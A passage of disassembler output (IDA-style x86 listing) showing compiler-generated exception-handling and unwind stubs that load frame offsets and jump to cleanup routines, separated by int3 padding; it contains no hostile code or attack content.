		mov	eax, offset dword_4411F8
		jmp	sub_437AB8
SEH_414150	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AEF8:				; DATA XREF: ___:00441264o
		mov	ecx, [ebp+14h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF10:				; DATA XREF: ___:004141E2o
		mov	eax, offset dword_441238
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF38:				; DATA XREF: ___:004412ACo
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4142F0	proc near		; DATA XREF: sub_4142F0+2o
		mov	eax, offset dword_441280
		jmp	sub_437AB8
SEH_4142F0	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF88:				; DATA XREF: ___:004412FCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414420	proc near		; DATA XREF: sub_414420+2o
		mov	eax, offset dword_4412D0
		jmp	sub_437AB8
SEH_414420	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFC8:				; DATA XREF: ___:00441344o
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFD8:				; DATA XREF: ___:004144C2o
		mov	eax, offset dword_441318
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414590	proc near		; DATA XREF: sub_414590+2o
		mov	eax, offset dword_441358
		jmp	sub_437AB8
SEH_414590	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B018:				; DATA XREF: ___:004413B4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B020:				; DATA XREF: ___:00414752o
		mov	eax, offset dword_441388
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B038:				; DATA XREF: ___:004413ECo
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414890	proc near		; DATA XREF: sub_414890+2o
		mov	eax, offset dword_4413C0
		jmp	sub_437AB8
SEH_414890	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B05B:				; DATA XREF: ___:00441424o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414A90	proc near		; DATA XREF: sub_414A90+2o
		mov	eax, offset dword_4413F8
		jmp	sub_437AB8
SEH_414A90	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B098:				; DATA XREF: ___:00414B22o
		mov	eax, offset dword_441438
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0B8:				; DATA XREF: ___:00414BB2o
		mov	eax, offset dword_441468
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0D8:				; DATA XREF: ___:004414C4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414D60	proc near		; DATA XREF: sub_414D60+2o
		mov	eax, offset dword_441498
		jmp	sub_437AB8
SEH_414D60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-48h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-44h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414E00	proc near		; DATA XREF: sub_414E00+8o
		mov	eax, offset dword_4414E0
		jmp	sub_437AB8
SEH_414E00	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B178:				; DATA XREF: ___:0044156Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401771
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B2E1:				; DATA XREF: ___:00416A82o
		mov	eax, offset dword_441540
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B358:				; DATA XREF: ___:0044167Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401771
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B4C1:				; DATA XREF: ___:00416CF2o
		mov	eax, offset dword_441650
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_416F70	proc near		; DATA XREF: sub_416F70+2o
		mov	eax, offset dword_441760
		jmp	sub_437AB8
SEH_416F70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_43B55B:				; DATA XREF: ___:004417BCo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_416FE0	proc near		; DATA XREF: sub_416FE0+2o
		mov	eax, offset dword_441790
		jmp	sub_437AB8
SEH_416FE0	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B98B:				; DATA XREF: ___:004419FCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417500	proc near		; DATA XREF: sub_417500+2o
		mov	eax, offset dword_4419D0
		jmp	sub_437AB8
SEH_417500	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43B9DB:				; DATA XREF: ___:00441A44o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4175A0	proc near		; DATA XREF: sub_4175A0+2o
		mov	eax, offset dword_441A18
		jmp	sub_437AB8
SEH_4175A0	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BA4E:				; DATA XREF: ___:00441A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417670	proc near		; DATA XREF: sub_417670+2o
		mov	eax, offset dword_441A70
		jmp	sub_437AB8
SEH_417670	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BAAB:				; DATA XREF: ___:00441AE4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417730	proc near		; DATA XREF: sub_417730+2o
		mov	eax, offset dword_441AB8
		jmp	sub_437AB8
SEH_417730	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BB0B:				; DATA XREF: ___:00441B34o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4177F0	proc near		; DATA XREF: sub_4177F0+2o
		mov	eax, offset dword_441B08
		jmp	sub_437AB8
SEH_4177F0	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4178B0	proc near		; DATA XREF: sub_4178B0+2o
		mov	eax, offset dword_441B58
		jmp	sub_437AB8
SEH_4178B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417920	proc near		; DATA XREF: sub_417920+2o
		mov	eax, offset dword_441B88
		jmp	sub_437AB8
SEH_417920	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417990	proc near		; DATA XREF: sub_417990+2o
		mov	eax, offset dword_441BB8
		jmp	sub_437AB8
SEH_417990	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417A20	proc near		; DATA XREF: sub_417A20+2o
		mov	eax, offset dword_441BE8
		jmp	sub_437AB8
SEH_417A20	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BBFB:				; DATA XREF: ___:00441C4Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417AE0	proc near		; DATA XREF: sub_417AE0+2o
		mov	eax, offset dword_441C20
		jmp	sub_437AB8
SEH_417AE0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BC4B:				; DATA XREF: ___:00441C94o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417B80	proc near		; DATA XREF: sub_417B80+2o
		mov	eax, offset dword_441C68
		jmp	sub_437AB8
SEH_417B80	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BC9B:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417C20	proc near		; DATA XREF: sub_417C20+2o
		mov	eax, offset dword_441CB0
		jmp	sub_437AB8
SEH_417C20	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BD0E:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


